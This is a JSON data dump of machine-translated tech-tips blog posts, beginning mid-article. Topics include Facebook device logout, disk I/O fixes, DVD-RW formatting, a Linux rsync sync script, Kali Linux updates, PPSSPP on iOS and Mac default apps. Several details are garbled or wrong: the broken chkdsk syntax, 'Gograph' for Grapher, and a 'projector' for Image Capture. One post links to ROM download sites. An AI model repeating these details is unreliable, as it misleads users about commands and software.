shows you the devices that you have logged in and allowed to log out remotely. In this article, Software Tips will guide you how to check which devices are logged into Facebook and how to remotely exit.\n  1. How to check your Facebook login history and logout on your computer Step 1: You proceed to access Facebook and click the Options icon to open Settings .\n  Step 2: After that, select Security and login , here you will see a list of devices that are logged into your Facebook account.\n  Step 3: To log out of the strange device, select the Three dots icon and select Log Out .\n  2. How to check your Facebook login history and log out on your phone Step 1: You proceed to open the Facebook application and select Options to open Settings. Then, you select Security and login to view login and use history on the device.\n  Step 2: Next, you select View all in the section Where you are logged in to see the devices logged.\n  Step 3: To log out of the strange device, select the Three dots icon and select Log Out .\n  In this article, the Software Tips guide you how to check which devices are logged into Facebook and how to remotely exit. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsedahoJygXZmyt7XCnqpmmaKaeq27xqCcnWWZo8GwecWamp6an6S4bq3NnWShp6diwbB50Z6kqKyVocZusdeiqw%3D%3D\n","link":"/post/how-to-check-which-devices-are-logged-into-facebook-and-how-to-remotely-exit/","section":"post","tags":null,"title":"How to check which devices are logged into Facebook and how to remotely exit"},{"body":"How long have you taken offline backups of your important files? Once a month? or once a year? Do you regularly check those backups? Some people perform these backup checks by connecting an external drive to the computer and an I / O device error occurs. This article will show you how to fix I / O device errors without losing any files during the process.\nWhat is an I / O device error? Error Input / Output device is quite common error. They often appear in hardware errors such as broken cables, input or output storage devices that have errors or misconfigured drivers. Therefore, there are many ways to fix I / O device errors, most of the ways below are easy to implement.\n  Before starting, you should reboot the system and try again, if it still doesn't fix the problem, keep trying the following methods.\n6 ways to restart Windows really \"pro\" 1. Cable The first thing to do is just adjust the cable. Re-plug the cable that connects the external drive to the computer. Do this at both ends. If you are using a USB flash drive, try disconnecting and plugging it back in. If still not working, use another USB cable and connect the cable to another external device and connect to your system. If it works, you'll know this cable is good.\nDistinguish 10 types of popular computer cables 2. USB port If the cable is good, but you still can't fix the problem, try another USB port. Most modern systems have multiple USB ports because many devices rely on USB connections. Also, check the USB port, if there is dirt, gently blow to remove any dirt and then try again.\n3. Driver A basic but easily overlooked error when fixing I / O errors is to update drivers on the system. Windows 10 regularly updates all drivers. But this constant upgrade problem worries many users when Microsoft releases Windows 10. In theory, a system that is constantly updating drivers is great and you will never have driver problems.\n  However, sometimes this continuous update system does not work. Therefore, users should use a driver update program like IOBit Driver Booster. Download and install Driver Booster (make sure to uninstall the McAfee Antivirus button), then scan the system to update the driver. You might be surprised if the program finds many expired drivers. Update the driver and retry the external hard drive.\n4. Chkdsk Although I / O device errors are mostly hardware related, you can use the system integration tool to troubleshoot. Chkdsk tool verifies and fixes file systems.\nCheck and fix hard drive errors with CMD on Windows Press Windows Key + X to open the Quick Access menu, then select Command Prompt (admin). If the system doesn't use Command Prompt, replace it with PowerShell, just search in the Start Menu menu, then right-click and choose Run as administrator.\nNext, enter chkdsk / f / r / x [your drive letter here] and press Enter . Scanning can take a while, especially if there are many sectors to fix.\n  Note, this tool will not fix some types of corrupted drives.\n5. Use Speccy to check the health of the drive If these two ways don't work, you should check the overall health of the drive using the free system specification program, Speccy. Download and install Speccy. In the left column, select Storage and scroll down to find the corresponding drive.\n  Below the drive specification is the SMART attribute table.\n  SMART stands for Self-Monitoring, Analysis and Reporting Technology (Automatic monitoring, diagnostic and reporting technology). Integrated hard drive monitoring system reports on various hard drive health attributes. Speccy evaluates each of the different monitoring measures. You should care about the following data:\n05: Reallocated Sectors Count 0A: Spin Retry Account C4: Reallocation Event Count C5: Current Pending Sector Count C6: Uncorrectable Sector Count A Google study found that within 60 days after a drive failure could not be adjusted, the drive had an average error of 39 times that of a similar hard drive without errors. Google's research also concluded that SMART ratings are useful in predicting drive errors. If you see any of the above figures showing errors (or many different errors on many indicators), you should seriously consider backing up everything and replacing the drive.\nSee more:\nFix some common computer errors - Part 1 Decode common computer error messages Summary of some ways to fix USB Device Not Recognized on Windows 7, 8 and 10 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1tMRmm6Krm2K2bruMnqmrp6Jitq951qKlnaenqA%3D%3D\n","link":"/post/how-to-fix-the-disk-i-o-error-in-windows/","section":"post","tags":null,"title":"How to fix the Disk I / O error in Windows"},{"body":"DVD-RW discs allow you to format and rewrite data multiple times (the 'RW' stands for 'rewrite'). This allows you to keep using a DVD-RW again and again to transfer or save files. Before you 'rewrite' on your DVD-RW you may need to erase...\nMethod 1of 2:\nFormatting DVD-RWs Using Windows  Insert the DVD-RW disc into a DVD burner drive. Make sure that your drive has the ability to write DVDs, otherwise, you won't be able to erase, reformat, or write new data the disc. If you are using Windows XP or another older version of Windows, you may have to download and install Service Pack 3 in order to recognize your DVD-RW disc.[1]   Erase the existing data. If the DVD-RW has data on it, you'll first need to erase what's there. Click \"Start\"-\u0026gt;\"Computer\"-\u0026gt;\"Windows Explorer\" then click the DVD icon. This will pull up the DVD burner software. In the toolbar, click \"Erase this disc\" and follow the instructions.[2] In Windows 8 and 10, you'll need to click the \"Manage\" tab first.   Access the \"Burn files to disc\" window. This appears when you either insert a blank disc or double-click the blank disc in the computer window. If no window appears automatically after erasing the disc contents, eject and re-insert the now blank disc into your drive to prompt this window to appear.   Give your disc a name. You'll be prompted to enter a name for the disc. This name will appear when the disc is inserted and allow you to recognize it. Give it a name that describes its intended contents if possible.\n  Select the format you want to use. You have two options when it comes to formatting a DVD-RW in Windows: \"Like a USB flash drive\" (a.k.a. Live File System) or \"With a CD/DVD player\" (a.k.a. Mastered). What you choose depends on how you intend to use the disc.[3] Live File System is appropriate if you want to be able to add and remove files from the disc at any time. The disc will act similarly to a USB drive and files will be burned to the disc as soon as they are added. Note: Live File System discs created in this manner are only compatible with Windows. Mastered is appropriate if you'd like the disc to function more like a closed system. All of the files are burned at once after you're finished adding them and no more files can be added without a full erase when using this format. Note: Mastered tends to be better for burning lots of files. In addition, Mastered discs will be compatible with other operating systems.   Finish the formatting process. Once you've selected your formatting method, the drive will prepare the disc. This may take a few moments. After it's finished, you'll be able to start adding files to the disc.\n  Add your files to the disc. Open the disc in an Explorer window and start dragging and dropping the files you want to burn. If you are using a Live File System, the files will be burned as they are dragged over and the disc will be finalized when you eject it. If you are using the Mastered format, you'll need to click \"Burn to disc\" once all the desired files have been added[4]\n Method 2of 2:\nFormatting DVD-RWs Using a Mac  Insert the DVD-RW disc into your drive. The majority of Mac computer disc drives have the ability to burn DVDs. If you have a Mac without a disc drive, you will instead have to connect an external optical drive.\n  Open the Disk Utility. You can find this in \"Utilities\" under the Applications folder.[5]\n  Find your DVD-RW in the utility. Select your DVD-RW disc in Disk Utility. You can find it in the list on the left side of the window.\n  Click the \"Erase\" tab to open the formatting utility. You'll be asked to select either \"Quickly\" or \"Completely\" for the erasing process. Most of the time the \"Quickly\" option will be fine, but if you've been having problems with the disc select \"Completely\". The \"Completely\" option takes at least several minutes, significantly longer than the \"Quickly\" option   Click the \"Erase\" button. Once this process finalizes you will have a clean DVD-RW ready to write on.\n  Burn your data to the DVD-RW. Double-click the disc on your desktop and drag files into the Finder window that opens. Once you're finished adding files, click the \"Burn\" button to burn them to the disc. This disc will be compatible with other operating systems.\n  Kareem Winters Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6fp7qiwIydrZ1loqw%3D\n","link":"/post/how-to-format-dvd-rw/","section":"post","tags":null,"title":"How to Format DVD RW"},{"body":"An image in a Microsoft Word document can replace thousands of words, but sometimes you want to quickly see the document, it can interfere with fast scrolling, especially on multi-image documents. However, there is a little-known feature in Word that allows you to hide all these images on documents and replace them with a temporary placeholder frame.\nHow to hide images in Microsoft Word Using Picture placeholders will help you speed up document display. The document has a lot of heavy graphics, the longer the loading time. This feature will not remove the image from the document, it is only hidden so that the page can load faster. When using this feature you will see a small box displayed instead of the image. Here's how to hide images in Word:\nStep 1 : Open Microsoft Word, go to File\u0026gt; Options\u0026gt; Advanced Tab .\nStep 2 : On the Advanced tab, select the Show picture placeholders option under the Show document content section .\n  Step 3 : Click OK on the dialog box to save the settings and return to the document. Now all images in your document will be replaced with a white box.\n  Step 4 : To retrieve the image, you can uncheck the above option or access View\u0026gt; Read Mode .\nEven with fast computers, this feature also helps increase your productivity. You will see there is not much difference on small documents, but with large documents, you will see how it works.\nI wish you all success!\nSee more:\nFix Windows error without image, Thumbnail thumbnail Tips for reading Word files without opening them View documents with reverse mode in Word 2013 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqCZmbJutcyanp6rXZ67brnInKmoq5%2BbwW7DzqubZp6fp3qmrdKinKtlopqupbXNoA%3D%3D\n","link":"/post/how-to-hide-images-in-microsoft-word-for-easier-reading/","section":"post","tags":null,"title":"How to hide images in Microsoft Word for easier reading"},{"body":"Hello, people often say that Java is one of the 'legendary' programming languages ​​because it brings many important concepts in programming in general. And among the tools that people often use for Java programming, Netbean is one of the most commonly used tools like Eclipse or later IntelliJ .\nHowever, the old Netbean versions are no longer suitable for modern programming purposes anymore. Therefore, the new Netbean version under the development of Apache has been gradually returning to popularity as before.\nAnd in today's article I will guide you to install Apache Netbean 12 on Windows 10 operating system.\nOk, now we start now!\nHow to install the latest Apache Netbean on Windows 10 + Step 1: First, go to the home page to download the installation file. You download the installation file by visiting the link here:\nYou click on the link in position (2) in the image below to navigate to the download file. Note: Apache Netbean 12 supports both Linux and MacOS as well.\n  You click on the link as shown in the image below and the installation file will be downloaded to your computer (about 300MB).\n  + Step 2: Installation:\nDouble-click the downloaded installation file to open Apache Netbean Installer.\n(1) Default settings (Base IDE, Java SE, Java EE, HTML / JavaScript, PHP) (2) If you ever want to change the settings click on Customize . (3) Total disk space is occupied after installation (Full options). =\u0026gt; If you do not customize, then click Next to continue.\n  If you do want to customize then click on Customize and a dialog box will appear as shown below.\nIf you do not want to install PHP package for example, you can uncheck it =\u0026gt; then click OK to continue.\n  At this step, you check the I accept the terms in the license agreement to accept the terms of the application and continue.\n  Next, you will choose the installation location of Netbean (1) and the path to the JDK in the machine (2) so that Netbean can compile Java programs.\nYou can completely change these paths by clicking the Browse… button next to them. After selecting, click Next to continue.\n  In this step, you can check the Check for Updates box so that Netbean can automatically update the plugin when installed from the internet. Then click Install to begin the installation process.\n  The installation process is quite fast, depending on your computer configuration and Internet speed.\n  Ok, so the installation is complete. Now you can use Apache Netbean to program Java. Click Finish to finish.\n  This is the opening interface of Apache Netbean 12, not too different from the old versions in terms of design!\n  Yes, so in this article I have instructed you how to install Apache Netbean on Windows 10. Very simple, right. Good luck.\nApache Netbean ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmmKmZk52ybrrErZmemZ5ivK951qKlnaenqHpyfA%3D%3D\n","link":"/post/how-to-install-apache-netbean-on-windows-10/","section":"post","tags":null,"title":"How to install Apache Netbean on Windows 10"},{"body":" Google supports a Street View feature where you can see real images of the actual location as if you're really walking or driving down that path. The images are not real-time though; they were previously captured. All personal and specific...\nMethod 1of 4:\nUsing Google Maps (Computer)  Go to Google Maps. Open a new web browser tab or window on your computer, and visit the Google Maps web page.\n  Identify a location. You can use the location button on the lower right corner to set the map to your current location, or you can use the search box on the upper left corner to find another place on the map. Finding your current location—Click the compass button on the lower right corner of the page. The map will adjust based on your current location. Your current location will be identified by a blue dot on the map. Finding another location—Use the search box and type in the location you want. A shortlist of possible results will drop down. Click on the location you want, and the map will automatically draw to the location you've set. A red pin will drop to identify it.   Call up the Street View. Click the Pegman on the lower right corner toolbar. The areas on the map that have Street View will be highlighted. Drag and drop the Pegman onto the area of the map with Street View. The map view will be changed to Street View.\n  Find the Street View image to report. Use your mouse to click and navigate through the Street View images. Arrows will appear on your screen to help your navigate through the streets. You will feel like you're walking or driving down the street as you view the images of that location. Once you've found the exact image you want to be removed, stop.\n  Click the 'Report a problem' link on the lower right corner of the page. You will be brought to the 'Report Inappropriate Street View' page, which contains the Street View image you want removed.\n  Complete and submit the form. Fill up the form with the required information. You will be asked which part, or parts, of the image you want to be blurred and for what reason. You can indicate that you want your face, your car, your house, or another object blurred. Input your email address so that Google can get back to you, then click the 'Submit' button at the bottom of the form.\n Method 2of 4:\nUsing Google Maps Mobile App (iOS \u0026amp; Android)  Launch Google Maps. Locate the Google Map app icon on your homescreen or app drawer, and tap it to open.\n  Identify a location. You can use the location button on the header toolbar to set the map to your current location or you can use the search box beside it to find another place on the map. Finding your current location—Tap the compass button on the header toolbar. The map will adjust based on your current location. Your current location will be identified by a blue dot on the map. Finding another location—Use the search box and type in the location you want. A shortlist of possible results will drop down. Tap the location you want, and the map will automatically draw to the location you've set. A red pin will drop to identify it.   Zoom in on the location. Put two fingers together on the screen, then move them apart to zoom in to the area you want to get a Street View of.\n  Call up the Street View. Once the map view is of the exact location, tap the red pin. A thumbnail of the Street View will pop up. Tap this to call up the Street View.\n  Report a problem. Tap the Street View so that the three-dot menu icon will appear. Tap the icon, and from the options, select 'Report a problem.' The 'Report Inappropriate Street View' window will appear, and the Street View image you've last visited will be included in the report.\n  Complete and submit the form. Fill up the form with the required information. Be as detailed as you need to be to indicate which part or parts of the image you want to be blurred and for what reason. You can indicate that you want your face, your car, your house, or another object blurred. Tap the 'Send' button on the lower right corner of the window to submit the report to Google.\n Method 3of 4:\nUsing Google Earth  Launch Google Earth on your computer. Double-click the Google Earth shortcut icon on the desktop, if you have it there, or run it from the Programs menu. Once launched, you will see a beautiful 3D rendition of our world.   Search for a location. Enter the name of the location you want to see the Street View of into the search bar at the top left side of the screen.\n  Zoom into the location. Slide the zoom in/out slider to the right of the screen up to zoom in to the location. You can also adjust your view by dragging the screen or using the arrows at the top of the slider.\n  Call up the Street View. Take the Pegman (you can find it above the slider too), and drag it to the location you want a Street View of. Once you drop the Pegman into the location, the map view will change into the Street View.\n  Report a problem. In the Street View image, you will find a small 'Report a problem' link at the bottom left corner. Click this and a web browser will open, displaying the 'Report Inappropriate Street View' page, which also contains the Street View image you want removed.\n  Complete and submit the form. Fill up the form with the required information. You will be asked which part, or parts, of the image you want to be blurred and for what reason. You can indicate that you want your face, your car, your house, or another object blurred. Input your email address so that Google can get back to you, then click the 'Submit' button at the bottom of the form.\n  David Pac Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqegqXqwwdNmpp9ll6S8qLjEZqqtqpWawW7CyJ6u\n","link":"/post/how-to-opt-out-of-google-street-view/","section":"post","tags":null,"title":"How to Opt Out of Google Street View"},{"body":"Linux administrators must keep folders synced on a regular basis. There are two simple use scenarios for synchronizing these files and folders. First, an important data backup needs to be maintained continuously at another location (local or remote). This backup runs at regular intervals. In other cases, the web server's data is copied to another server, for download sharing or for backup purposes. In both cases, there is a source point and a destination point needs to be synchronized.\nLinux has powerful tools that allow users to synchronize files or folders from one source folder to another. However, the preferred tool for doing this is 'rsync'.\nTo do this, please follow these instructions:\nStep 1 : Install the inotify tool\nsudo apt-get install inotify-tools  Details can be found on github.com/rvoicilas/inotify-tools/wiki.\nStep 2 : Install rsync\nsudo apt-get install ssh rsync  Step 3 : Create a new bash script file named sync.sh\nnano sync.sh  Step 4 : Paste the code below into sync.sh file :\n#!/bin/sh while inotifywait -r -e modify,create,delete,move /home/amrit/rsync-test/source_folder; do rsync -avz /home/amrit/rsync-test/source_folder /home/amrit/rsync-test/destination_folder --delete done  The user must modify the destination directory and source in the shell command above to match his setup.\nStep 5 : Execute the shell script file:\nchmod +x sync.sh  Step 6 : Run the shell script:\n./sync.sh  Mission completed! At this point if any changes to the source directory are made, those changes will also apply to the destination directory.\nHope you are succesful.\nSee more:\n7 commands to manipulate the most basic files and folders everyone must know Learn the file system and folders on Linux operating systems File Management in Unix / Linux ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqupo7Cpvs6noLOdXZu2rbHSZpinnF2bvK2wxKuqZqeeYrmqutSx\n","link":"/post/how-to-synchronize-files-and-folders-on-linux/","section":"post","tags":null,"title":"How to synchronize files and folders on Linux"},{"body":"Kali Linux's excellent penetration testing system like any other system in the world needs to be updated. But most updates are not developed by the Kali Linux founding team but are created by programmers themselves.\nSmart inventors have created great tools that you can find in Kali Linux, so we need to update Kali Linux to keep these tools in functional order.\nThis short tutorial will show you the commands to update tools and systems in Kali Linux. The guide consists of 3 parts:\nHow to update Kali Linux and fix errors when updating 1. Instructions to update Kali Linux 2. Fix Kali Linux update error 3. How to update Kali Linux on a proxy network Find out more details below!\n1. Instructions to update Kali Linux Step 1:\nLaunch Kali Linux and open a terminal.\n  \nStep 2:\nType the following command into the terminal window and press Enter :\n 1apt-get update \u0026amp;\u0026amp; apt-get upgrade  Now everything will work fine and the update process will start. However, the process may generate some errors. To find out details, please proceed to the next section.\n2. Fix Kali Linux update error   Type the following command in the terminal window:\n 1apt-get clean \u0026amp;\u0026amp; apt-get update \u0026amp;\u0026amp; apt-get dist-upgrade    If the problem is not resolved, the package may be missing something. To fix this error, enter the following command:\n 1apt-get update \u0026amp;\u0026amp; apt-get upgrade  Then enter:\n 1apt-get update \u0026amp;\u0026amp; apt-get upgrade  If the error persists, the next step is to check your sources.list file.\n3. How to update Kali Linux on a proxy network After all the above attempts, the Kali Linux update error has not been fixed, perhaps there is a proxy in your network. This is how to fix it.\nType the command:\n 1sudo apt-get install proxychains  Add a proxy to /etc/proxychains.conf and enter the command:\n 1proxychains apt-get update \u0026amp;\u0026amp; apt-get upgrade  Hopefully the above methods will be helpful to you and your system update has been successful. If you need any more help, leave comments under the comment section!\nGood luck!\nSee more:\nHow to install VmWare Tools on Kali Linux Instructions for installing Kali Linux on Windows 10 are easier than ever How to install and use Kali Linux on VmWare virtual machine ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2gma61sYykmKWhXaG2r8HXZpinnF2btrl5xKupqKqjYsSpsc1mrKmckam2r7M%3D\n","link":"/post/how-to-update-kali-linux-and-fix-errors-when-updating/","section":"post","tags":null,"title":"How to update Kali Linux and fix errors when updating"},{"body":"Gamers will probably no longer be familiar with PSP game titles on computers through the professional PPSSPP emulator. And in addition to the PC version, PPSSPP is now supported for iPhone, iPad and iPod touch devices running iOS 10.0.x or iOS 10.2. However, since it is not an application available on the App Store, users need to use software to install PPSSPP on iOS devices, we will guide them in the article below.\nSteps to install PPSSPP on iPhone Step 1:\nFirst of all to be able to play PSP games, you need to upgrade your operating system to iOS 10 or higher to ensure stability when done. Refer to the article below.\nHow to update to the official iOS 10 version? Step 2:\nNext, we will download the PPSSPP emulator for iOS devices according to the link below:\nDownload the PPSSPP emulator for iOS Step 3:\nAfter that, we need to install PPSSPP application on iPhone, or iPad by sideload method, that is thanks to a support tool called Cydia Impactor.\nReaders can follow the instructions on how to install external applications on iPhone without jailbreak so that they can download applications outside of .ipa on iPhone / iPad without jailbreak. When you see the message Verification as shown below, you have successfully installed PPSSPP.\n   Step 4:\nIn order for PPSSPP to work, users need to insert the ROM versions of the game . Refer to some links below:\nHustler Rom - PSX ROMs GBA ROMs NDS ROMs SNES ROMs Sony Playstation Portable ISOs / PSP ROMS - FreeROMS.com NDS ROMS PSP ROMS PSX ROMS NES ROMS SNES ROMS GBA ROMS | Emuparadise Sony Playstation Portable / PSP ROMs (ISOs) - A - CoolROM.com ISOs de PSP para download | Portal Roms Step 5:\nNext, we start iTunes on the device and then connect to the iPhone / iPad. Click the device icon to enter the management page.\nDownload the free iTunes software Download iTunes for Mac   Step 6:\nThen in the menu list on the left, select Applications . Looking to the right, select PPSSPP , then select Add file . Here, we just need to select any 1 ROM file of the game just downloaded above to run.\n  iTunes will process the file and move to the internal directory of the PPSSPP application.\n  Step 7:\nWhen the process is finished, we open the PPSSPP emulator on the iPhone / iPad, click the Games tab on the main interface of the application and enter yourself into the game.\n  So you've installed the PPSSPP emulator on iOS devices already. To limit the error in the installation process, as well as machine lag when playing you should upgrade the device to iOS 10 to use the signal too. The installation process is quite complicated, due to the need to add Cydia Impactor application to support the installation of external applications on iPhone / iPad not jailbreak, so please follow each step.\nRefer to the following articles:\nHow to lock apps on iPhone without jailbreak How many tricks have you missed using this iPhone? Fix PC error not receiving iPhone in iTunes I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWahnqjBorjLoqWgZaClwLS8z2amp2WZpbWwusRmoKmZlGKxsLHSZqWorF2frqq4waucmqM%3D\n","link":"/post/instructions-for-installing-ppsspp-on-iphone-ipad-does-not-jailbreak/","section":"post","tags":null,"title":"Instructions for installing PPSSPP on iPhone / iPad does not jailbreak"},{"body":"Mac computers are always highly rated for their smooth operation and sleek design. Not only that, Apple's macOS is always available with a range of applications to meet almost every need of users from office work, web surfing, email, photo management, music .\nAlthough Apple has done a good job of naming apps, sometimes users still don't know the full functionality and usefulness of the built-in Mac apps. For you to have a better experience with your Mac, in this article we will list all the default applications on Mac computers and their functions.\nMac computers are very popular for their beautiful design and smooth operation You can find all of these applications in the Applications folder in the Finder.\nList of default applications on Mac computers Macbook applications from A to D Mac applications from F to K MacOS applications from L to N Default Mac application from P to R Mac OS applications from S to V Applications inside the Utilities folder Macbook applications from A to D App Store: The App Store is where you can find applications to install on your Mac computer. The applications here have been tested and approved by Apple, so it will ensure the quality and safety. You can also update installed apps as well as macOS itself through the App Store.\nCurrently, Mac computers have their own App Store Automator: This application allows you to automate hundreds of different system operations to handle complex tasks without the need to know programming or scripting systems. Although not commonly used, if you learn to take advantage of it, Automator will be very helpful.\nBooks: Books is like an iTunes version for ebooks. It has an integrated store where you can choose from thousands of titles. You can also put ebooks available on your computer to Books because this application can be used to read and manage ebooks. Book supports both EPUB and PDF formats.\nCalculator: This is a powerful tool for you in both daily life and work. All calculations from personal spending balancing to business book balancing you can use Calculator help.\nCalendar: This application helps you to manage your to-do list, appointments efficiently and clearly. Although not yet the most premium calendar application on the market, Calendar is guaranteed to satisfy most users. Naturally, Calendar can sync with iCloud so users can experience it seamlessly on a variety of devices, from Mac to iPhone, iPad.\nCalendar helps you manage appointments and to-do lists Chess: Very simple, this is a chess game on a Mac computer. You can play online with friends or play with the machine and even play with myself.\u0026nbsp;\nContacts: This application is where you use to store contact information of family, friends and partners . It syncs with iCloud so you can access contacts from other applications and devices such as Mail, iPhone or iPad.\nDictionary: Listening is quite simple but this is a useful application, sometimes replacing the dictionary, synonyms or Wikipedia.\nDVD Player: At the moment this is an outdated application, no longer useful. All current Apple Mac computers do not have DVD drives, so DVD Player will only work if you have an external DVD drive. Many people think that Apple removed the app from macOS Mojave, but it was only hidden. If you want to open it, just enter DVD Player into Spotlight .\nMac applications from F to K FaceTime: FaceTime is Apple's proprietary application for voice and video calling. This means you can only use it to call other users who are also using Apple devices. Forget FaceTime if your friends or family use a Windows computer or Android smartphone.\nFind My: On macOS, Apple integrates the Find My Phone and Find My Friends applications into a single application called Find My. This app is useful when you want to find someone who is sharing your location with you or find your Apple devices.\nFont Book: This is the font management tool that macOS has built-in. It makes it easy for users to install, preview and delete fonts on the device. Font Book can separately filter the fonts available on the system and the user fonts installed to make management easier.\nFont Book is where you manage the fonts on Mac GarageBand: This app is like a simple, intuitive music studio for users to create short music. Many novice musicians use GarageBand to get used to before using complex applications like Logic Pro X. GarageBand is so useful that it has become a reason why some Windows users switch to macOS.\nHome: If you own a HomePod or smart home devices, you can use Home to manage them. With Home, you can turn on / off the lights quickly, adjust thermostats or set up automation for smart home devices.\niMovie: iMovie is a fairly simple and intuitive video editing application. You can import clips and images and then edit and stitch them together to form a complete video. Even with options like adding text, music and post-production effects, you can create short movies with iMovie.\nYou can make whole movies with iMovie iTunes (macOS Mojave and earlier): Even people without a Mac computer know about iTunes. For years, on the Mac, iTunes is where users manage multimedia files such as music, movies, TV shows and iOS devices. However, from macOS Catalina, Apple has replaced iTunes with standalone applications such as Music, Podcasts and TV. Still, for users of old Mac computers, iTunes is still the place where users manage music and other multimedia files.\nImage Capture: If you have a projector or camera connected to your Mac, you can use Image Capture to take photos. Some older cameras need to use Image Capture to transfer photos to a Mac computer, but newer cameras with SD memory cards and WiFi sharing do not.\nKeynote: Keynote is Apple's answer to Microsoft's PowerPoint. With this application, you can create slideshows ranging from simple to elegant and complex, suitable for many different purposes. You don't even have to worry about compatibility issues when you can save a presentation created on Keynote to a format that runs in PowerPoint.\nMacOS applications from L to N Launchpad: Launchpad helps you to open applications installed on your Mac. To access Launchpad you can press the F4 key or click on the application icon on the Dock.\nMail: This application helps you manage your accounts and emails. Besides simple tasks like reading and replying to emails, you can also set up Mail to handle emails sent to you.\nMaps: Apple Maps on Mac computers brings the same experience as on iPhone and iPad. You can use it to explore your surroundings or find your way to where you want to go. You can also send your Mac travel route to an iPhone or iPad using the Share button .\nAlthough fully functional, Apple Maps is still not popular with Google Maps Messages: This is an app that allows you to send and receive messages with other iMessage users. Messages can include pictures, short videos, and various file types. If synced with iPhone, you can also send SMS and MMS with Messages.\nMission Control: When you activate Mission Control, you can use it to view all active applications. This makes switching between applications faster without pressing Cmd + Tab .\u0026nbsp;\nMusic: Music is where you listen to music and manage your music library. You can create your own playlist, view lyrics . in this application.\nApple Music was just released not too long ago but it has a lot of users News: You can update international or domestic news from sources around the world with the News app on Mac. You can even set up the sources you like to follow to create a separate update page.\nNotes: Apple Notes is a simple, effective note taking application. It can sync with iCloud so you can use it on both macOS and iOS.\nNumbers: Numbers is an Apple-created application that competes with Microsoft's Excel. Despite the slightly quirky name, Numbers is a great application. This will be a useful application for you if you work a lot with spreadsheets.\nDefault Mac application from P to R Pages: Located in the iWork suite with Numbers and Keynote, Pages is an alternative to Microsoft Word. The advantage of this application is quite simple and easy to use.\nPhoto Booth: If you want to take photos or videos yourself, Photo Booth can help you. This software can use the webcam on MacBook or camera connected to the computer to take photos, take 4 photos at the same time or record short video clips. You can also add 25 different effects to photos and videos.\nPhotos: This is a library application that helps you easily organize and manage your photos / videos. It can not take photos or record videos but will help you save photos / videos in albums and create slideshows, cards . Even, this application can edit RAW images but not many options like the Other professional applications.\nPodcasts: With Podcasts you can find new radio shows, listen to old radio shows and create your own radio files.\u0026nbsp;\nPodcasts help you find, listen and manage radio programs Preview: On Mac, Preview is the default image viewer. You will use Preview a lot if you need to view images or read PDF files often. This application can handle many different file types and can even open RAW image files, PowerPoint presentations and Photoshop PSD files.\nQuickTime Player: This is the default video player of macOS. Besides the basic function, QuickTime Player also has a range of other utilities such as recording, screen recording, video cutting and uploading videos to YouTube. It is also one of the best video converter applications for macOS.\nReminders: Despite having the function of turning on the alarms, Reminders is not really an alarm application. In essence, Reminders is an app that reminds you to do. You can create a to-do list, set an alarm for Reminders to remind you when it's time or when you get to an established location. This application can also sync with iOS devices.\nMac OS applications from S to V Safari: Safari is the default web browser on macOS as well as iOS.\nStickies: This application allows you to create and manage note labels. These sticky notes are mounted on the screen to remind you what to do. However, the emergence of note and reminder apps like Notes and Reminders has caused Stickies to gradually sink into oblivion.\nStocks: If you work in finance or investing, Stocks will help you monitor the global stock market.\nStocks regularly updates you with financial market information TextEdit: TextEdit is a simple text editor. It is more like Notepad than Word or Pages.\nTime Machine: This is a data backup tool built into Apple by Mac computer. It makes it easy to transfer personal data from an old Mac to a new Mac or restore data when problems arise.\nTV: TV is the place to go when you want to watch TV shows or original content that Apple TV + provides. You can search and manage your favorite TV shows here. TV also has a separate section for shows aimed at children.\nApple TV is also a new application that is on the rise of Apple Voice Memos: With Voice Memos, you can record and manage your voice notes. The application can sync with all Apple devices and also allows you to edit your recording if needed.\nApplications inside the Utilities folder The Utilities subfolder under Applications has a range of different system utilities. We will go through all of them because maybe one day they will help you handle the problem you are having.\nActivity Monitor: Similar to Task Manager on Windows but more intensive. You can see everything from the CPU usage, the power consumption of each processor, the amount of remaining RAM memory to the overall performance of the network . This is one of the important system utilities. most you need to care about.\nAirPort Utility: Used to set up and manage AirPort devices (including AirPort Express, AirPort Extreme and AirPort Time Capsule), old router and WiFi equipment line, which Apple killed in 2018. You will not need care about this utility unless you're still using one of the AirPort devices.\nAudio MIDI Setup: Set up and manage audio devices on your system, including MIDI devices.\u0026nbsp;\nBluetooth File Exchange: Establish a Bluetooth connection with nearby compatible devices.\nBluetooth File Exchange Boot Camp Assistant: Create and manage dual boot configurations, allowing the machine to boot into macOS or Windows. This is the method that technicians often use to install Windows on a Mac.\nColorSync Utility: Create a better color for the screen and adjust the color configuration for the machine.\nConsole: A tool that allows you to review system performance and error diagnostic reports. It is very useful when you want to find and fix problems on a Mac.\nDigital Color Meter: This utility displays the color value of any pixel on your screen. It can even display color values ​​in other formats, such as Adobe RGB.\nDigital Color Meter Disk Utility: This tool provides basic information and controls the operation of storage drives on your Mac.\u0026nbsp;\nGograph: Enter one or more mathematical equations and then wait for Gograph to draw a chart for you.\nKeychain Access: A password manager that is synced with iCloud. You can use it to store website login information, WiFi passes or other sensitive information. Thanks to it, you will not need to remember passwords anymore and can create even more complex passwords.\nMigration Assistant: This tool helps you quickly transfer personal data from old Mac computers, Windows computers, storage drives and Time Machine backups to your new Mac.\nScreenshot: This is a tool to help you take a screenshot of your Mac. It was formerly named Grab but was renamed Screenshot from macOS Mojave.\nScript Editor: It allows you to create Apple Scripts to perform complex tasks related to the application on the Mac or control the Mac itself. This application is often used by pro users to automate tasks on Mac because it is more powerful and advanced than Automator.\nSystem Information: Provides detailed information about hardware, software and networks on your Mac.\nSystem Information Terminal: A command prompt on the Mac computer. If you understand the system command line, you can use Terminal to gain more control over your Mac computer.\nVoiceOver Utility: Screen reading tool for visually impaired people.\nHopefully this article will help you take full advantage of the applications on your Mac computer. Please visit the website to see more useful features of Mac 